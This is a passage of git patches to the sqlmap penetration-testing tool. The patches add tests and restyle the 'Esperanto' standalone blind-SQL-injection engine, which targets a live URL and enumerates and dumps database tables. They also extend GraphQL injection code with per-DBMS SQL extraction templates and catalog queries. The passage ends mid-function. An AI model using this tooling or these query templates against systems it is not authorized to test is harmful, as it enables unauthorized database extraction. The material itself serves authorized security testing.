"between" + try: + esp.extractInteger("(100)", maximum=10) + self.fail("expected OverflowError") + except OverflowError as ex: + self.assertIn("exceeds maximum", str(ex)) + + def test_key_uniqueness_gate(self): + # #2: a keyset ordering column MUST be single-column unique + non-NULL. a composite + # key's first column repeats -> `> prev` paging silently drops rows sharing it, so it + # must be REJECTED (COUNT(*) != COUNT(DISTINCT col)); only a unique column is accepted. + con = sqlite3.connect(":memory:") + con.execute("CREATE TABLE k (a INT, b INT, u INT, nul INT)") + con.executemany("INSERT INTO k VALUES (?,?,?,?)", [(1, 1, 10, 1), (1, 2, 20, None), (2, 1, 30, 3)]) + con.commit() + + def ask(cond): + try: + return con.execute("SELECT CASE WHEN (%s) THEN 1 ELSE 0 END" % cond).fetchone()[0] == 1 + except Exception: + return False + esp = Esperanto(ask) + esp.discover() + self.assertFalse(esp._keyIsUnique("a", "k"), "non-unique composite-first column accepted") + self.assertFalse(esp._keyIsUnique("nul", "k"), "nullable column accepted as key") + self.assertTrue(esp._keyIsUnique("u", "k"), "unique non-null column rejected") + def test_fixup_length(self): # a trailing-space-trimming length fn is rebuilt as LEN(x||'.')-1 esp = Esperanto(_oracle(u"x")) @@ -354,7 +780,9 @@ def ask(cond): esp.discover() strat = esp.strategy() self.assertRaises(AttributeError, setattr, strat, "compare_mode", "x") - self.assertEqual(hostExtract(ask, strat, "(SELECT v FROM k)"), "Str4t3gy!") + hr = hostExtract(ask, strat, "(SELECT v FROM k)") + self.assertEqual(hr.value, "Str4t3gy!") + self.assertTrue(hr.exact) self.assertTrue(strat.asQueriesRow()["substring"]) def test_pattern_match_fallback(self): From 272d1447d7d542be7bc7e8e507317b2fe671584e Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Wed, 22 Jul 2026 01:10:06 +0200 Subject: [PATCH 830/853] Fixing CI/CD errors --- lib/core/settings.py | 2 +- tests/test_dialect.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 9f69250ed6c..1d65ca73755 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.173" +VERSION = "1.10.7.174" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/tests/test_dialect.py b/tests/test_dialect.py index 871f1622996..277e3c17ba4 100644 --- a/tests/test_dialect.py +++ b/tests/test_dialect.py @@ -70,7 +70,7 @@ class TestNullAndCastField(unittest.TestCase): DBMS.MYSQL: "IFNULL(CAST(col AS NCHAR),' ')", # MSSQL/PGSQL casts are unbounded (NVARCHAR(MAX)/TEXT) so long values are not silently truncated DBMS.MSSQL: "ISNULL(CAST(col AS NVARCHAR(MAX)),' ')", - DBMS.SYBASE: "ISNULL(CONVERT(VARCHAR(4000),col),' ')", + DBMS.SYBASE: "ISNULL(CONVERT(VARCHAR(16384),col),' ')", DBMS.PGSQL: "COALESCE(CAST(col AS TEXT)::text,' ')", DBMS.ORACLE: "NVL(CAST(col AS VARCHAR(4000)),' ')", } From c294098cc1962ec0ac0cb9132db358cd7d8587db Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Wed, 22 Jul 2026 01:31:11 +0200 Subject: [PATCH 831/853] Minor style changes for Esperanto DBMS engine --- extra/esperanto/README.md | 2 +- extra/esperanto/__init__.py | 4 +++- extra/esperanto/__main__.py | 38 ++++++++++++++++++++++++++++--------- lib/core/settings.py | 2 +- 4 files changed, 34 insertions(+), 12 deletions(-) diff --git a/extra/esperanto/README.md b/extra/esperanto/README.md index a66e387f54b..a22ee07ec52 100644 --- a/extra/esperanto/README.md +++ b/extra/esperanto/README.md @@ -41,7 +41,7 @@ python run.py --self-test ``` The `*` (or an explicit `[INFERENCE]`) marks the injection point; without one it defaults to the end -of the URL. The true/false oracle is taken from `--string` / `--not-string` / `--code`, or +of the URL. The true/false oracle is taken from `--string` / `--code`, or auto-calibrated from the response when none is given. ## How it works diff --git a/extra/esperanto/__init__.py b/extra/esperanto/__init__.py index 45e5fa09e06..fd7121ddb54 100644 --- a/extra/esperanto/__init__.py +++ b/extra/esperanto/__init__.py @@ -19,10 +19,12 @@ for a built-in self-test against an in-memory SQLite oracle. """ +__version__ = "1.0.0" + from .engine import Esperanto from .engine import hostExtract from .handler import buildHandler from .records import Cap, ExtractResult, BulkResult, Dialect, InferenceStrategy, Integrity from .records import OracleUndecided, QueryBudgetExceeded -__all__ = ["Esperanto", "hostExtract", "buildHandler", "Cap", "ExtractResult", "BulkResult", "Dialect", "InferenceStrategy", "Integrity", "OracleUndecided", "QueryBudgetExceeded"] +__all__ = ["Esperanto", "hostExtract", "buildHandler", "Cap", "ExtractResult", "BulkResult", "Dialect", "InferenceStrategy", "Integrity", "OracleUndecided", "QueryBudgetExceeded", "__version__"] diff --git a/extra/esperanto/__main__.py b/extra/esperanto/__main__.py index ea6f116d535..1ee6e02f2a0 100644 --- a/extra/esperanto/__main__.py +++ b/extra/esperanto/__main__.py @@ -5,11 +5,14 @@ See the file 'LICENSE' for copying permission """ +from . import __version__ from .atlas import _REPL from .engine import Esperanto, hostExtract from .records import ( OracleUndecided, ExtractResult, QueryBudgetExceeded) +_SITE = "https://sqlmap.org" + # ratio-mode confidence margin: if the true/false similarity scores are within this of each # other the page can't be classified, so the oracle returns UNDECIDED rather than guessing. _RATIO_MARGIN = 0.05 @@ -331,14 +334,14 @@ def mssql(): return ok -def _httpOracle(url, data=None, cookie=None, headers=None, string=None, notString=None, code=None): +def _httpOracle(url, data=None, cookie=None, headers=None, string=None, code=None): """A boolean oracle over a real HTTP target, for standalone use. The condition is substituted at the injection marker: '[INFERENCE]' is replaced verbatim (you supply the context, e.g. `id=1 AND [INFERENCE]`), else a single '*' is replaced with ` AND ()`. True/false is decided by a reduced port of sqlmap's response differentiation - the - Pareto 80%: explicit --string/--not-string/--code win; otherwise it CALIBRATES from + Pareto 80%: explicit --string/--code win; otherwise it CALIBRATES from two true (1=1) baselines + one false (1=2) and auto-picks the cheapest reliable signal - HTTP status code, else a stable text line present in true but not false, else a difflib similarity ratio. Two noise-killers borrowed from sqlmap make it @@ -428,8 +431,6 @@ def _clean(body, cond): mode, wanted, base = None, None, {} if string is not None: mode = "string" - elif notString is not None: - mode = "notstring" elif code is not None: mode, wanted = "code", int(code) else: # auto-calibrate @@ -456,7 +457,7 @@ def _clean(body, cond): break if wanted is None: # (3) similarity ratio floor mode, base = "ratio", {"t": tc, "f": fc} - if not string and not notString: + if string is None: print("[*] calibrated oracle: %s%s" % (mode, (" (%r)" % wanted) if mode in ("code", "autostring") else "")) def classify(cond): @@ -465,8 +466,6 @@ def classify(cond): return None # let the engine retry/degrade, never a fake bool if mode == "string": return string in body - if mode == "notstring": - return notString not in body if mode == "code": return status == wanted if mode == "autostring": @@ -647,6 +646,25 @@ def _report(esp, args): _printTable(result["columns"], result["rows"]) +def _banner(): + # modest CLI identity, sqlmap-styled: a small globe (DBMS-agnostic/universal) + the Esperanto + # green star. Colored only on a TTY; pure-ASCII (no coding header on this file); text columns + # aligned at a fixed offset so the escape codes (zero display width) don't skew them. + import sys as _sys + tty = _sys.stdout.isatty() + G = "\033[0;32m" if tty else "" # esperanto green (the globe) + S = "\033[1;32m" if tty else "" # bright green (the star) + W = "\033[1;37m" if tty else "" # bold white (the name) + U = "\033[4;37m" if tty else "" # underline (the site) + R = "\033[0m" if tty else "" + return ( + " %(G)s___%(R)s\n" + " %(G)s/ _ \\%(R)s %(W)sesperanto%(R)s {%(ver)s}\n" + " %(G)s| (_) |%(R)s\n" + " %(G)s\\___/ %(S)s*%(R)s %(U)s%(site)s%(R)s\n" + ) % dict(G=G, S=S, W=W, U=U, R=R, ver=__version__, site=_SITE) + + def main(argv=None): """Standalone entry point: drive the engine against a live HTTP target.""" import argparse @@ -665,13 +683,14 @@ def _format_action_invocation(self, action): parser = argparse.ArgumentParser( prog="esperanto", formatter_class=_Formatter, + usage="esperanto -u URL [options]", # short synopsis, not an auto-listing of every flag description="DBMS-agnostic blind-SQLi enumeration engine (standalone)") + parser.add_argument("--version", action="version", version="esperanto %s (%s)" % (__version__, _SITE)) parser.add_argument("-u", "--url", help="target URL (with a '*'/'[INFERENCE]' marker)") parser.add_argument("--data", help="POST data string") parser.add_argument("--cookie", help="HTTP Cookie header") parser.add_argument("-H", "--header", action="append", help="extra HTTP header (repeatable)") parser.add_argument("--string", help="match string for a True response") - parser.add_argument("--not-string", dest="not_string", help="match string for a False response") parser.add_argument("--code", type=int, help="HTTP code for a True response") parser.add_argument("--banner", action="store_true", help="retrieve DBMS banner") parser.add_argument("--current-user", action="store_true", dest="current_user", help="retrieve current user") @@ -697,13 +716,14 @@ def _format_action_invocation(self, action): if args.selftest: # self-test only on EXPLICIT request _selftest() return 0 + print(_banner()) # CLI identity (after the dev-harness paths above) if not args.url: # no target and nothing to do -> show help, don't surprise parser.print_help() return 1 target = args.url if "://" in args.url else ("http://" + args.url) # tolerate a scheme-less URL esp = Esperanto(_httpOracle(target, args.data, args.cookie, args.header, - args.string, args.not_string, args.code)) + args.string, args.code)) import sys as _sys _tty = _sys.stdout.isatty() def _charLive(partial, total): diff --git a/lib/core/settings.py b/lib/core/settings.py index 1d65ca73755..e72cf91e206 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.174" +VERSION = "1.10.7.175" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From e6a5e8ff05f2190421e8f94a8184747920d5f1ea Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Wed, 22 Jul 2026 01:48:54 +0200 Subject: [PATCH 832/853] More style changes for Esperanto DBMS engine --- extra/esperanto/__main__.py | 40 ++++++++++++++-------------------- extra/esperanto/enumeration.py | 14 +++++++----- lib/core/settings.py | 2 +- 3 files changed, 25 insertions(+), 31 deletions(-) diff --git a/extra/esperanto/__main__.py b/extra/esperanto/__main__.py index 1ee6e02f2a0..e6c8ab46fa8 100644 --- a/extra/esperanto/__main__.py +++ b/extra/esperanto/__main__.py @@ -360,7 +360,7 @@ def _httpOracle(url, data=None, cookie=None, headers=None, string=None, code=Non if "[INFERENCE]" not in (url + (data or "")) and "*" not in (url + (data or "")): url = url + "*" # no marker given -> inject at the end of the URL by default - print("[*] no injection marker ('*' or '[INFERENCE]') given; defaulting to end of URL: %s" % url) + print("[i] no injection marker ('*' or '[INFERENCE]') given; defaulting to end of URL: %s" % url) # ONE kept-alive connection reused across every probe. a blind dump is thousands of # requests; opening a fresh TCP+TLS handshake per probe (what urlopen does) is ~0.2s of @@ -458,7 +458,7 @@ def _clean(body, cond): if wanted is None: # (3) similarity ratio floor mode, base = "ratio", {"t": tc, "f": fc} if string is None: - print("[*] calibrated oracle: %s%s" % (mode, (" (%r)" % wanted) if mode in ("code", "autostring") else "")) + print("[i] calibrated oracle: %s%s" % (mode, (" (%r)" % wanted) if mode in ("code", "autostring") else "")) def classify(cond): body, status = fetch(cond) @@ -598,7 +598,7 @@ def _report(esp, args): else: scope = cur if scope: - print("[*] scoping to database/schema: %s" % scope) + print("[i] scoping to database/schema: %s" % scope) if args.current_user: expr = esp.dialect.identity.get("user") print("[*] current user: %s" % (_scalar(esp, expr) if expr else "n/a")) @@ -606,35 +606,29 @@ def _report(esp, args): expr = esp.dialect.identity.get("database") print("[*] current database: %s" % (_scalar(esp, expr) if expr else "n/a")) if args.tables: - print("[*] fetching tables ...") + print("[i] fetching tables ...") print("[*] tables: %s" % ", ".join(esp.enumerate("table", schema=scope) or [""])) if args.columns: if not args.tbl: print("[!] --columns needs -T
") else: - print("[*] fetching columns for '%s' ..." % args.tbl) + print("[i] fetching columns for '%s' ..." % args.tbl) print("[*] columns of %s: %s" % (args.tbl, ", ".join(esp.columns(args.tbl, schema=scope) or [""]))) - if args.query: - print("[*] fetching %s ..." % args.query) - print("[*] %s = %s" % (args.query, _scalar(esp, args.query))) if args.dump: if not args.tbl: print("[!] --dump needs -T
") else: cols = [c.strip() for c in args.col.split(",")] if args.col else None if cols is None: # enumerate columns FIRST (own phase), so the - print("[*] fetching columns for table '%s' ..." % args.tbl) # 'entries' phase below streams ROWS, not column names + print("[i] fetching columns for table '%s' ..." % args.tbl) # 'entries' phase below streams ROWS, not column names cols = esp.columns(args.tbl, schema=scope) or None - print("[*] fetching entries for table '%s' ..." % args.tbl) - # NO silent internal 10-row cap: honor --stop, else dump ALL rows (by COUNT) and - # always print whether the result is complete. - if getattr(args, "stop", None): - limit = args.stop - else: - try: - limit = esp.extractInteger("(SELECT COUNT(*) FROM %s)" % esp.qualify(args.tbl, scope)) or 10 - except Exception: - limit = 1 << 30 + print("[i] fetching entries for table '%s' ..." % args.tbl) + # NO silent internal cap: dump ALL rows (bounded by the live COUNT) and always + # print whether the result came back complete. + try: + limit = esp.extractInteger("(SELECT COUNT(*) FROM %s)" % esp.qualify(args.tbl, scope)) or 10 + except Exception: + limit = 1 << 30 result = esp.dump(args.tbl, columns=cols, schema=scope, limit=limit) if not result or not result["columns"]: print("[!] could not dump %s" % args.tbl) @@ -698,11 +692,9 @@ def _format_action_invocation(self, action): parser.add_argument("--tables", action="store_true", help="enumerate tables") parser.add_argument("--columns", action="store_true", help="enumerate table columns (needs -T)") parser.add_argument("--dump", action="store_true", help="dump table entries (needs -T)") - parser.add_argument("--sql-query", dest="query", help="run a custom scalar SQL query") parser.add_argument("-D", dest="db", help="database/schema to enumerate") parser.add_argument("-T", dest="tbl", help="table to enumerate") parser.add_argument("-C", dest="col", help="columns to dump (comma-separated)") - parser.add_argument("--stop", type=int, help="max rows to dump (default: all)") # internal dev/test harness switches - functional but hidden from --help (--live drives the # local-Docker DBMS livetest; --waf is a livetest-only fault-injection mode, NOT a real WAF bypass) parser.add_argument("--live", action="store_true", help=argparse.SUPPRESS) @@ -733,18 +725,18 @@ def _charLive(partial, total): shown = _previewFramed(partial) if shown is None: shown = partial - _sys.stdout.write("\r\033[K[*] retrieved: %s" % _safeterm(shown[-200:])) + _sys.stdout.write("\r\033[K[i] retrieved: %s" % _safeterm(shown[-200:])) if len(partial) >= total: # value complete -> keep it and drop to a new line _sys.stdout.write("\n") _sys.stdout.flush() def _plainLive(value): # piped/non-tty: one plain line per value, no control codes - _sys.stdout.write("[*] retrieved: %s\n" % _safeterm(value)) + _sys.stdout.write("[i] retrieved: %s\n" % _safeterm(value)) _sys.stdout.flush() if _tty: esp._charProgress = _charLive # animated char-by-char is the sole feedback on a terminal else: esp._progress = _plainLive # logs/pipes get clean per-value lines instead - print("[*] discovering the back-end SQL dialect (agnostic mode) ...") + print("[i] discovering the back-end SQL dialect (agnostic mode) ...") try: esp.discover() _report(esp, args) diff --git a/extra/esperanto/enumeration.py b/extra/esperanto/enumeration.py index a295d5f8e55..ef6591efe90 100644 --- a/extra/esperanto/enumeration.py +++ b/extra/esperanto/enumeration.py @@ -329,12 +329,14 @@ def _discoverKey(self, table, schema=None): # take the alphabetically-first key column (deterministic); a compound key # still yields a usable ordering column for the walk keyexpr = "(SELECT MIN(%s) FROM %s WHERE %s)" % (ncol, source, filt) - with self._probePhase(): # a catalog that lacks this key structure errors -> "no key", not fatal - present = self._ask("%s IS NOT NULL" % keyexpr) - if present: - res = self.extractResult(keyexpr) # a key COLUMN NAME becomes SQL -> require an EXACT value - if res.exact and res.value: # (a case-ambiguous name could mis-target) - return res.value + # discovering the key COLUMN NAME is setup, not data - run it inside the probe phase so a + # catalog lacking this key structure degrades to "no key" (not fatal) AND so the name does + # not surface on the live "retrieved:" feed (it is a column name, not a dumped entry). + with self._probePhase(): + if self._ask("%s IS NOT NULL" % keyexpr): + res = self.extractResult(keyexpr) # a key COLUMN NAME becomes SQL -> require an EXACT value + if res.exact and res.value: # (a case-ambiguous name could mis-target) + return res.value return None def columnType(self, expr): diff --git a/lib/core/settings.py b/lib/core/settings.py index e72cf91e206..8433981815b 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.175" +VERSION = "1.10.7.176" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 36ebce6935a26f7e101ad7263ca6aba681bb1068 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Thu, 23 Jul 2026 12:15:45 +0200 Subject: [PATCH 833/853] Tons of stabilization of non-SQLi techniques --- lib/core/option.py | 8 + lib/core/settings.py | 7 +- lib/techniques/graphql/inject.py | 898 +++++++++++++++++++++++-------- lib/techniques/hql/inject.py | 213 ++++++-- lib/techniques/ldap/inject.py | 278 ++++++---- lib/techniques/nosql/inject.py | 857 +++++++++++++++++++++++------ lib/techniques/ssti/inject.py | 416 ++++++++++---- lib/techniques/xpath/inject.py | 345 ++++++++---- lib/techniques/xxe/inject.py | 330 +++++++++--- lib/utils/nonsql.py | 148 +++++ tests/test_graphql.py | 219 +++++++- tests/test_hql.py | 43 ++ tests/test_ldap.py | 70 +++ tests/test_nosql.py | 288 +++++++++- tests/test_ssti.py | 191 ++++++- tests/test_techniques.py | 136 ++++- tests/test_xpath.py | 113 ++++ tests/test_xxe.py | 156 +++++- 18 files changed, 3836 insertions(+), 880 deletions(-) create mode 100644 lib/utils/nonsql.py diff --git a/lib/core/option.py b/lib/core/option.py index a6436693278..816c698891a 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -2726,6 +2726,14 @@ def _checkTor(): logger.info(infoMsg) def _basicOptionValidation(): + _nonSqlTechniques = [name for name, enabled in ( + ("--graphql", conf.graphql), ("--nosql", conf.nosql), ("--ldap", conf.ldap), + ("--xpath", conf.xpath), ("--ssti", conf.ssti), ("--xxe", conf.xxe), ("--hql", conf.hql)) if enabled] + if len(_nonSqlTechniques) > 1: + errMsg = "only one non-SQL technique switch may be used at a time (found: %s). " % ", ".join(_nonSqlTechniques) + errMsg += "each is a self-contained scan for a different back-end class - pick one" + raise SqlmapSyntaxException(errMsg) + if conf.limitStart is not None and not (isinstance(conf.limitStart, int) and conf.limitStart > 0): errMsg = "value for option '--start' (limitStart) must be an integer value greater than zero (>0)" raise SqlmapSyntaxException(errMsg) diff --git a/lib/core/settings.py b/lib/core/settings.py index 8433981815b..0d4aa90689c 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.176" +VERSION = "1.10.7.177" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) @@ -1169,6 +1169,11 @@ XXE_BLACKHOLE_HOST = "192.0.2.1" XXE_TIME_THRESHOLD = 5 +# maximum number of distinct leaf text-node locations the in-band reflection probe sweeps to find a +# working injection point (a schema-validated or non-reflected first node otherwise hides the finding); +# bounds the request cost on documents with many text nodes +XXE_LOCATION_SWEEP_MAX = 12 + # HQL/JPQL (Hibernate, EclipseLink) injection error signatures for error-based # detection and ORM fingerprinting. Each tuple is (backend_name, regex_fragment). # A match means the injection reached the ORM query parser (not the SQL layer), diff --git a/lib/techniques/graphql/inject.py b/lib/techniques/graphql/inject.py index 0ebe75bcd46..a4576f03cc3 100644 --- a/lib/techniques/graphql/inject.py +++ b/lib/techniques/graphql/inject.py @@ -5,7 +5,6 @@ See the file 'LICENSE' for copying permission """ -import difflib import json import re import time @@ -30,6 +29,12 @@ from lib.core.settings import NOSQL_ERROR_REGEX from lib.core.settings import UPPER_RATIO_BOUND from lib.request.connect import Connect as Request +from lib.utils.nonsql import blockedStatus +from lib.utils.nonsql import decide as _decide +from lib.utils.nonsql import Decision as _Decision +from lib.utils.nonsql import InconclusiveError +from lib.utils.nonsql import ratio as _ratio +from lib.utils.nonsql import resolveBit from lib.utils.xrange import xrange from thirdparty.six import unichr as _unichr @@ -86,6 +91,10 @@ # Cache for INPUT_OBJECT field definitions, populated during schema walks _inputFields = {} +# Cache for ENUM value names (first entry used when synthesizing a required enum argument), populated +# during schema walks - a required enum must be rendered as a bare enum identifier, never a quoted string +_enumValues = {} + # --- Backend SQL dialect table ---------------------------------------------- @@ -101,7 +110,55 @@ # would silently truncate (e.g. MySQL group_concat_max_len=1024). Dialect = namedtuple("Dialect", ("fingerprint", "length", "ordinal", "delay", "banner", "currentUser", "currentDb", - "tableFrom", "tableCol", "columnFrom", "columnCol", "paginate", "row")) + "tableFrom", "tableCol", "columnFrom", "columnCol", "paginate", "row", + "fromIdent")) + + +def _sqlLiteral(value): + # A value embedded as a SQL STRING LITERAL (catalog WHERE clauses, OBJECT_ID('..'), + # pragma_table_info('..')): standard single-quote doubling, safe on all four back-ends. Without it + # a table/column name containing a quote breaks the catalog query and the dump silently yields + # nothing. + return "'%s'" % getUnicode(value).replace("'", "''") + + +def _identDouble(name): # SQLite / PostgreSQL: double-quoted, preserves case, embedded '"' doubled + return '"%s"' % getUnicode(name).replace('"', '""') + + +def _identBracket(name): # Microsoft SQL Server: [bracketed], embedded ']' doubled + return "[%s]" % getUnicode(name).replace("]", "]]") + + +def _identBacktick(name): # MySQL: `backticked`, embedded '`' doubled + return "`%s`" % getUnicode(name).replace("`", "``") + + +def _qualifiedIdent(name, quoter): + # Quote a (possibly schema-qualified) catalog table name for a FROM clause: split a "schema.table" + # on the FIRST dot and quote each part with the dialect identifier syntax; quote an unqualified + # name whole. Schema-qualification lets PostgreSQL/MSSQL dump tables outside the default schema, + # which an unqualified name cannot reference. + if "." in name: + schema, _, table = name.partition(".") + return "%s.%s" % (quoter(schema), quoter(table)) + return quoter(name) + + +def _sqliteFrom(table): + return _qualifiedIdent(table, _identDouble) + + +def _mysqlFrom(table): + return _identBacktick(table) # MySQL enumerates the current database only (unqualified) + + +def _pgsqlFrom(table): + return _qualifiedIdent(table, _identDouble) + + +def _mssqlFrom(table): + return _qualifiedIdent(table, _identBracket) def _limitOffset(col, offset): @@ -116,24 +173,55 @@ def _offsetFetch(col, offset): # the whole table into a single GROUP_CONCAT/STRING_AGG scalar would be silently # truncated by the back-end (MySQL caps group_concat_max_len at 1024 bytes), dropping # rows without warning; per-row extraction is unbounded and dialect-uniform. +# Every row query orders by the (single, concatenated) output column - `ORDER BY 1` - so a given +# offset refers to the SAME physical row across the length probe AND every per-character probe. +# Without a stable ordering, offset N could bind to different records between requests and the +# recovered cell would be a fabricated composite of several rows (the concatenation is a total order; +# genuinely identical rows are indistinguishable anyway, so uniqueness is not required for stability). +# In a row query the table and every column are IDENTIFIERS, so they are quoted with the dialect's +# identifier syntax - otherwise a reserved word, a space, a mixed-case PostgreSQL name, or a name with +# a quote character produces a broken query and the dump silently drops that table/column. `table` may +# already be a schema-qualified, pre-quoted identifier from the catalog (PostgreSQL/MSSQL), in which +# case it is used verbatim. def _sqliteRow(columns, table, offset): - body = ("||'%s'||" % COL_SEP).join("COALESCE(CAST(%s AS TEXT),'NULL')" % _ for _ in columns) - return "(SELECT %s FROM %s LIMIT 1 OFFSET %d)" % (body, table, offset) + body = ("||'%s'||" % COL_SEP).join("COALESCE(CAST(%s AS TEXT),'NULL')" % _identDouble(_) for _ in columns) + return "(SELECT %s FROM %s ORDER BY 1 LIMIT 1 OFFSET %d)" % (body, _sqliteFrom(table), offset) def _mysqlRow(columns, table, offset): - body = "CONCAT_WS('%s',%s)" % (COL_SEP, ",".join("COALESCE(CAST(%s AS CHAR),'NULL')" % _ for _ in columns)) - return "(SELECT %s FROM %s LIMIT %d,1)" % (body, table, offset) + body = "CONCAT_WS('%s',%s)" % (COL_SEP, ",".join("COALESCE(CAST(%s AS CHAR),'NULL')" % _identBacktick(_) for _ in columns)) + return "(SELECT %s FROM %s ORDER BY 1 LIMIT %d,1)" % (body, _mysqlFrom(table), offset) def _pgsqlRow(columns, table, offset): - body = ("||'%s'||" % COL_SEP).join("COALESCE(CAST(%s AS TEXT),'NULL')" % _ for _ in columns) - return "(SELECT %s FROM %s LIMIT 1 OFFSET %d)" % (body, table, offset) + body = ("||'%s'||" % COL_SEP).join("COALESCE(CAST(%s AS TEXT),'NULL')" % _identDouble(_) for _ in columns) + return "(SELECT %s FROM %s ORDER BY 1 LIMIT 1 OFFSET %d)" % (body, _pgsqlFrom(table), offset) def _mssqlRow(columns, table, offset): - body = ("+'%s'+" % COL_SEP).join("COALESCE(CAST(%s AS VARCHAR(MAX)),'NULL')" % _ for _ in columns) - return "(SELECT %s FROM %s ORDER BY (SELECT NULL) OFFSET %d ROWS FETCH NEXT 1 ROWS ONLY)" % (body, table, offset) + body = ("+'%s'+" % COL_SEP).join("COALESCE(CAST(%s AS VARCHAR(MAX)),'NULL')" % _identBracket(_) for _ in columns) + return "(SELECT %s FROM %s ORDER BY 1 OFFSET %d ROWS FETCH NEXT 1 ROWS ONLY)" % (body, _mssqlFrom(table), offset) + + +def _sqliteColumnFrom(table): + return "FROM pragma_table_info(%s)" % _sqlLiteral(table) + + +def _mysqlColumnFrom(table): + # scope to the active database: information_schema.columns holds the same table name across every + # schema, so an unscoped lookup would merge unrelated columns and then dump nonexistent fields + return "FROM information_schema.columns WHERE table_schema=DATABASE() AND table_name=%s" % _sqlLiteral(table) + + +def _pgsqlColumnFrom(table): + # `table` is the catalog's "schema.table"; look columns up by the split schema + table literals + schema, _, tbl = table.partition(".") if "." in table else ("public", "", table) + return "FROM information_schema.columns WHERE table_schema=%s AND table_name=%s" % (_sqlLiteral(schema), _sqlLiteral(tbl)) + + +def _mssqlColumnFrom(table): + # OBJECT_ID() resolves a "schema.table" string directly, so the qualified name is passed as a literal + return "FROM sys.columns WHERE object_id=OBJECT_ID(%s)" % _sqlLiteral(table) DIALECTS = OrderedDict(( @@ -147,10 +235,11 @@ def _mssqlRow(columns, table, offset): currentDb=None, tableFrom="FROM sqlite_master WHERE type='table' AND name NOT LIKE 'sqlite_%'", tableCol="name", - columnFrom=lambda table: "FROM pragma_table_info('%s')" % table, + columnFrom=_sqliteColumnFrom, columnCol="name", paginate=_limitOffset, - row=_sqliteRow)), + row=_sqliteRow, + fromIdent=_sqliteFrom)), ("Microsoft SQL Server", Dialect( fingerprint="@@VERSION LIKE '%Microsoft%'", length=lambda expr: "LEN((%s))" % expr, @@ -159,12 +248,14 @@ def _mssqlRow(columns, table, offset): banner="@@VERSION", currentUser="SYSTEM_USER", currentDb="DB_NAME()", - tableFrom="FROM sys.tables", - tableCol="name", - columnFrom=lambda table: "FROM sys.columns WHERE object_id=OBJECT_ID('%s')" % table, + # schema-qualify so tables outside dbo are enumerable and dumpable (SCHEMA_NAME + name) + tableFrom="FROM sys.tables t", + tableCol="CONCAT(SCHEMA_NAME(t.schema_id),'.',t.name)", + columnFrom=_mssqlColumnFrom, columnCol="name", paginate=_offsetFetch, - row=_mssqlRow)), + row=_mssqlRow, + fromIdent=_mssqlFrom)), ("PostgreSQL", Dialect( fingerprint="(SELECT version()) LIKE 'PostgreSQL%'", length=lambda expr: "LENGTH((%s))" % expr, @@ -173,12 +264,14 @@ def _mssqlRow(columns, table, offset): banner="version()", currentUser="CURRENT_USER", currentDb="CURRENT_DATABASE()", - tableFrom="FROM information_schema.tables WHERE table_schema='public'", - tableCol="table_name", - columnFrom=lambda table: "FROM information_schema.columns WHERE table_name='%s'" % table, + # enumerate every user schema (not just public) and carry schema+table so dumps qualify + tableFrom="FROM information_schema.tables WHERE table_schema NOT IN ('pg_catalog','information_schema')", + tableCol="table_schema||'.'||table_name", + columnFrom=_pgsqlColumnFrom, columnCol="column_name", paginate=_limitOffset, - row=_pgsqlRow)), + row=_pgsqlRow, + fromIdent=_pgsqlFrom)), ("MySQL", Dialect( fingerprint="@@VERSION_COMMENT IS NOT NULL", length=lambda expr: "CHAR_LENGTH((%s))" % expr, @@ -189,10 +282,11 @@ def _mssqlRow(columns, table, offset): currentDb="DATABASE()", tableFrom="FROM information_schema.tables WHERE table_schema=DATABASE()", tableCol="table_name", - columnFrom=lambda table: "FROM information_schema.columns WHERE table_name='%s'" % table, + columnFrom=_mysqlColumnFrom, columnCol="column_name", paginate=_limitOffset, - row=_mysqlRow)), + row=_mysqlRow, + fromIdent=_mysqlFrom)), )) @@ -209,8 +303,6 @@ def _mssqlRow(columns, table, offset): # --- Helpers ---------------------------------------------------------------- -def _ratio(first, second): - return difflib.SequenceMatcher(None, first or "", second or "").quick_ratio() def _chunks(sequence, size): @@ -282,10 +374,16 @@ def _gqlSend(endpoint, query, variables=None): kb.postHint = POST_HINT.JSON page, _, code = Request.getPage(url=endpoint, post=json.dumps(body), raise404=False, silent=True) - except Exception: - return "", 0 + except Exception as ex: + # a transport failure 